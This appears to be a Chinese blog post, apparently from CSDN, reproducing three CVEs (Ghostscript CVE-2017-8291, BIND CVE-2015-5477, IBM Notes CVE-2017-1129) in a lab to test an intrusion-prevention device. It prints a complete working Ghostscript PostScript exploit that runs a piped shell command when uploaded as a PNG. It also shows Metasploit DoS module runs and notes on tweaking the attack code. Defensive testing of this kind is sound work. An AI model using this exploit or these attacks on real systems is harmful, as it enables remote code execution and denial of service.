入侵防御漏洞复现(四)

一、CVE-2017-8291 Ghostscript远程代码执行漏洞 ——缓存区溢出

1.简介

Artifex Ghostscript 2017-04-26及之前版本中的漏洞允许攻击者通过带有一个子串的.rsdparams类型混淆绕过-dSAFER,并执行远程命令,这个子串位于一个特制的输入在gs程序里的.eps文档中。

2.靶场搭建

CVE-2017-8291这个靶场在vulfocus中没有找到现场的,查阅资料发现vulhub上有对应的靶场,因此装了一下vulhub。先想从官网上下载,发现指向https://github.com/vulhub/vulhub/archive/master.zip网站,电脑无法访问github。后来尝试用手机访问,可以成功访问,就用手机下载后,发回给电脑。

然后搭建靶场

#解压vulhub-master文件
root@admin:~/tmp# unzip vulhub-master.zip

#查找对应的容器
root@admin:~/tmp# cd vulhub-master/
root@admin:~/tmp/vulhub-master# find ./ | grep 8291
./python/PIL-CVE-2017-8291
./python/PIL-CVE-2017-8291/app.py
./python/PIL-CVE-2017-8291/01.png
./python/PIL-CVE-2017-8291/README.md
./python/PIL-CVE-2017-8291/docker-compose.yml
./python/PIL-CVE-2017-8291/poc.png

#安装docker-compose
root@admin:~/tmp/vulhub-master# apt install docker-compose

#进入对应容器,拉起容器
root@admin:~/tmp/vulhub-master/python/PIL-CVE-2017-8291# docker-compose up -d
Creating network "pil-cve-2017-8291_default" with the default driver
Pulling web (vulhub/ghostscript:9.21-with-flask)...
9.21-with-flask: Pulling from vulhub/ghostscript
7919f5b7d602: Pull complete
c6c44661db59: Pull complete
9c50e2687d10: Pull complete
27869d33eb7b: Pull complete
e228e686e2b9: Pull complete
a3ed95caeb02: Pull complete
Digest: sha256:4e42c01b5f0670f845cdc4c2a76a1f6baa965d58184e2e040a5c635fd7059654
Status: Downloaded newer image for vulhub/ghostscript:9.21-with-flask
Creating pil-cve-2017-8291_web_1 ... done
root@admin:~/tmp/vulhub-master/python/PIL-CVE-2017-8291# docker ps -a
CONTAINER ID   IMAGE                                COMMAND                  CREATED          STATUS          PORTS                                       NAMES
95b523f0f6cf   vulhub/ghostscript:9.21-with-flask   "python app.py"          26 minutes ago   Up 26 minutes   0.0.0.0:8000->8000/tcp, :::8000->8000/tcp   pil-cve-2017-8291_web_1

3.攻击源上传POC

搭建成功后,攻击源访问http://192.168.20.240:8000端口

创建一个poc文件,文件内容为 ,该文件会在靶机的tmp目录下创建aaaaa文件

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

将文件格式改为png,通过http://192.168.20.240:8000上传poc.png

4.攻击成功

上传成功后,进入靶机,查看 tmp下创建了aaaaa文件

5.测试DUT防护

将靶机下的aaaaa和poc.png都删除,DUT开启入侵防御,再次上传POC文件,上传失败,链接被重置,查看设备有入侵防御拦截告警

二、CVE-2015-5477 ISC BIND TKEY查询断言失败漏洞 ——应用层DDOS攻击

1.简介

ISC BIND是美国Internet Systems Consortium(ISC)公司所维护的一套实现了DNS协议的开源软件。ISC BIND 9.9.7-P1及之前版本和9.10.2-P2及之前版本的named中存在安全漏洞。远程攻击者可借助TKEY查询利用该漏洞造成拒绝服务(REQUIRE断言失败和守护进程退出)。

2.靶场搭建

受影响的BIND 版本,ISC BIND 9.1.0 ->9.8.x,9.9.0 -> 9.9.7-P1,9.10.0 -> 9.10.2-P2

没找到存在漏洞的版本,直接安装最新的BIND9版本,只是为了提供DNS服务端口

apt-get install -y bind9

3.攻击源

攻击源使用kali服务器自带的metasploit工具,查找CVE-2015-5477的对应模块,发起攻击。

#查找CVE-2015-5477相关模块
msf6 > search CVE-2015-5477

Matching Modules
================

   #  Name                         Disclosure Date  Rank    Check  Description
   -  ----                         ---------------  ----    -----  -----------
   0  auxiliary/dos/dns/bind_tkey  2015-07-28       normal  No     BIND TKEY Query Denial of Service


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/dns/bind_tkey


#通过上面的查找结果加载对应模块
msf6 > use auxiliary/dos/dns/bind_tkey

#配置DNS查询服务器ip,即靶机ip
msf6 auxiliary(dos/dns/bind_tkey) > set rhosts 192.168.20.240
rhosts => 192.168.20.240

#查看配置
msf6 auxiliary(dos/dns/bind_tkey) > show options

Module options (auxiliary/dos/dns/bind_tkey):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in ea
                                         ch set
   INTERFACE                   no        The name of the interface
   RHOSTS     192.168.20.240   yes       The target host(s), see https://do
                                         cs.metasploit.com/docs/using-metas
                                         ploit/basics/using-metasploit.html
   RPORT      53               yes       The target port (UDP)
   SRC_ADDR                    no        Source address to spoof
   THREADS    10               yes       The number of concurrent threads


View the full module info with the info, or info -d command.

#运行攻击
msf6 auxiliary(dos/dns/bind_tkey) > run

[*] Sending packet to 192.168.20.240
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(dos/dns/bind_tkey) >

4.攻击成功

由于没有安装存在漏洞的ISC bind版本,所以靶机上看不出效果。对于代码也不是很熟悉,所以不太懂。只是通过在靶机端抓包观察发送的报文是符合攻击特点的。

5.测试DUT防护

DUT开启防护后,包含攻击特性的DNS报文会被重置,DUT上有告警,靶机上抓不到DNS攻击报文了。

问题

过程中,发现meta自带的攻击报文构造无法触发DUT的检测,查询的DUT的检测规则后,对meta的攻击源rb代码进行少许改动name长度调整为固定8,TXT类型调整为c0 0c后,可以正常命中。代码所在位置

/usr/share/metasploit-framework/modules/auxiliary/dos/dns/bind_tkey.rb

三、CVE-2017-1129 IBM Notes encodeURI拒绝服务漏洞——应用层DDOS

1.简介

IBM Notes是美国IBM公司的一套协同办公软件。该软件具备电子邮件、日历、日程安排等办公功能。IBM Notes中存在拒绝服务漏洞。攻击者可通过诱使用户点击恶意的链接利用该漏洞造成拒绝服务(客户端挂起和重启)。以下版本受到影响:IBM Notes 9.0.1版本至9.0.1 FP8 IF1版本,9.0版本至9.0 IF4版本,8.5.3版本至8.5.3 FP6 IF13版本,8.5.2版本至8.5.2 FP4 IF3版本,8.5.1版本至8.5.1 FP5 IF5版本,8.5版本。

2.靶场搭建

下载IBM Notes 9.0.1 版本,并安装到WINDOW10系统上即可

3.攻击源

攻击源使用kali服务器自带的metasploit工具,查找CVE-2017-1129的对应模块,run对应模块后,kali服务器会监听对应的URL

4. 攻击成功

靶机通过IBM 自带浏览器访问kali监听的URL,kali发送带攻击字段的response,导致靶机受到dos攻击,浏览器卡住,并提示异常,是否停止运行脚本

5.测试DUT防护

DUT开启防护功能后,靶机无法访问kali监听的URL,DUT 重置链接并产生告警日志

问题

使用kali自带的攻击脚本时,发现DUT无法拦截,查找DUT对应规则后,调整kali攻击代码,将攻击字段的"} catch (d)" 改为 "}catch(d)"后,可以命中DUT规则。代码在kaili内路径

/usr/share/metasploit-framework/modules/auxiliary/dos/http/ibm_lotus_notes.rb

  • 22
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值